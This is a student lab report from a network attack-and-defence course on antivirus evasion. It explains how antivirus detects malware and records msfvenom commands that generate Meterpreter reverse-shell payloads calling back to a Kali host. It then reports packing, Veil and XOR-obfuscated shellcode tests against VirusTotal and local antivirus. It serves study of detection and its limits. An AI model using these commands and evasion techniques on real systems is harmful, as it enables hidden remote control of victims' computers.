2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 20165211
1. 基础问题回答
（1）杀软是如何检测出恶意代码的？
-
基于特征码检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件（或其他运行的库、脚本等）包含这样的数据则被认为是恶意代码。
重要的就是，恶意软件的检测，并不是比对整个文件，而只能只其中一个或几个片断作为识别依据。
-
启发式恶意软件检测
简单来说，就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
优点：
- 可以检测0-day恶意软件
- 具有一定通用性
缺点：
- 实时监控系统行为，开销稍多
- 没有基于特征码的精确度高
-
基于行为的恶意软件检测
最开始提出启发式时，一般也是针对特征扫描的而言的，指通用的、多特征的、非精确的扫描，所以后来又提出了基于行为的。从理论上讲，基于行为的检测相当于是启发式的一种，或者是加入了行为监控的启发式。
（2）免杀是做什么？
免杀就是让安插的后门不被AV软件发现。
（3）免杀的基本方法有哪些？
-
改变特征码
- 只有EXE
- 加壳：压缩壳 加密壳
- 有shellcode
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译（veil-evasion）
- 只有EXE
-
改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
-
非常规方法
- 使用一个有漏洞的应用当成后门，编写攻击代码集成到如MSF中。
- 使用社工类攻击，诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
2. 实践过程记录
本次实验主要使用的检测工具
1.正确使用msf编码器
kali的ip地址：192.168.78.128
使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.78.128 LPORT=5211 -f exe > akashi1.exe
生成最基本的可执行文件
上传至VirusTotal ：结果为51/71
使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=xxx LPORT=xxx -f exe > met-encoded10.exe
进行多次编码，并检验结果，如下
上传至VirusTotal ：结果为50/70
由上可见，进行多次编码的方式并不能达到免杀的目的。
2. msfvenom生成如jar之类的其他文件
(1) 生成jar文件
使用命令
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.78.129 lport=5211 x> akashi_jar.jar
上传至VirusTotal ：结果为34/60
将此文件放到主机（win10+Windows Defender+电脑管家）无报毒。
(2)生成php文件
使用命令
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.78.129 lport=5211 x> akashi_php.php
上传至VirusTotal ：结果为3/58
将此文件放到主机（win10+Windows Defender+电脑管家）无报毒。
(3)生成Python文件
使用命令
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.78.129 LPORT=5211 -f raw > akashi_python.py
上传至VirusTotal ：结果为14/55
3. veil-evasion
-
使用veil生成木马程序
期间需要选择Payload Module，并设置LHOST和LPORT
- 生成文件后，到目标目录寻找文件。
- 上传至VirusTotal ：结果为37/68
- 放到电脑中，被电脑管家查杀……
4. 加壳工具
对我们刚刚生成的软件进行加壳处理吧
压缩壳UPX
- 对刚刚的Akashi_Veil.exe用UPX加壳，生成Akashi_Veil_UPX.exe
- 上传至VirusTotal ：结果为37/70
加密壳Hyperion
- 如下所示，进入指定目录后进行操作
- 上传至VirusTotal ：结果为44/68
总的来说，使用加壳软件，似乎并不能得到很好地免杀效果。这些加壳软件中包含的特征信息，有时候反而会增加杀毒软件识别的可能性。
5. 使用shellcode编程
- 使用命令
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.78.129 LPORT=5211 -f c
生成一个shellcode。
-
创建文件
Akashi_Shellcode.c，将第一步得到的shellcode编入其中我所看的资料要求使用
i686-w64-mingw32-g++ Akashi_Shellcode.c -o Akashi_Shellcode.exe编译，可生成可执行文件。命令也可执行，但是在尝试回连时一直显示失败？？？？（令人头秃了………………要一个回连不了的文件有何用啊？？？
尝试将文件放在主机环境中编译，用CB编译后运行……查看结果，OK~可以！
- 将文件上传至VirusTotal ：结果为23/68
- 却发现，我的电脑管家对他毫无反应，似乎已经实现了腾讯电脑管家的免杀？？是电脑管家太废了吧……
看了一下VirusTotal 的结果，果然……Tencent显示clean……认真考虑要不要换一个杀毒软件……
6. 通过组合应用各种技术实现恶意代码免杀
第五步莫名其妙实现了自己电脑的免杀……尝试一下降低Virscan和VirusTotal扫描出来的数量吧
1. 尝试加壳
- 将文件上传至VirusTotal ：结果为26/68
- 主机电脑管家未查杀
就结果而言，反而是增加了，大概是加了壳之后，反而给了更多的特征吧，让杀软更容易检测出来。
2. 尝试对shellcode进行简单处理
-
这里想到的方法，有对Shellcode进行异或处理，或是对其进行加密后解密
-
主要尝试异或处理，将Shellcode与一固定字符串进行异或后存储，在程序中在进行一次异或，即可还原。
- 将文件上传至VirusTotal ：结果为20/70
- 可以看到这样的效果的确是有所改善的啦，回连也是成功的！
- 按这个思路，再对文件进行一些操作，应该是可以得到更好的结果的。
7. 用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本
Kali使用桥接模式，并在使用前测试与目标主机能否ping通。
以下是回连成功的截图。
电脑版本为 win7+360杀毒软件
3. 实践总结与体会
在本次实验中，主要探索了免杀的实现。
实验的主要曲折，应该就是安装Veil了，中途经历了各种问题，大概是之前安装kali的过程过于顺利，感觉这一次把所有可能的棘手问题都碰到了。虚拟机网络连接有问题，虚拟网络适配器被删除，kali源连接不上，找不到命令。前后倒腾，甚至差点要重新安装一遍VMware。
在进行实验的时候，竟然发现在实验未完成的情况下，竟然已经完成了免杀。郑重的考虑换一个杀毒软件。
发现实现一个免杀的恶意代码，并没有想象中那么难，在网络安全方面还是有很多需要注意的地方啊。
4. 开启杀软能绝对防止电脑中恶意代码吗？
并不能，在本次实验中，我们主要要实现的就是在杀软开启的情况下，实现恶意代码，掌握主机的控制权。在本次试验中，仅仅靠shellcode半手工竟然就可以实现腾讯的免杀，更不用提更多进过黑客们精心构造的恶意代码。目前杀软的主要检测方式，主要还是基于特征码，依赖于他们的数据库源，面对一些新的恶意代码，防护的能力还是很差的。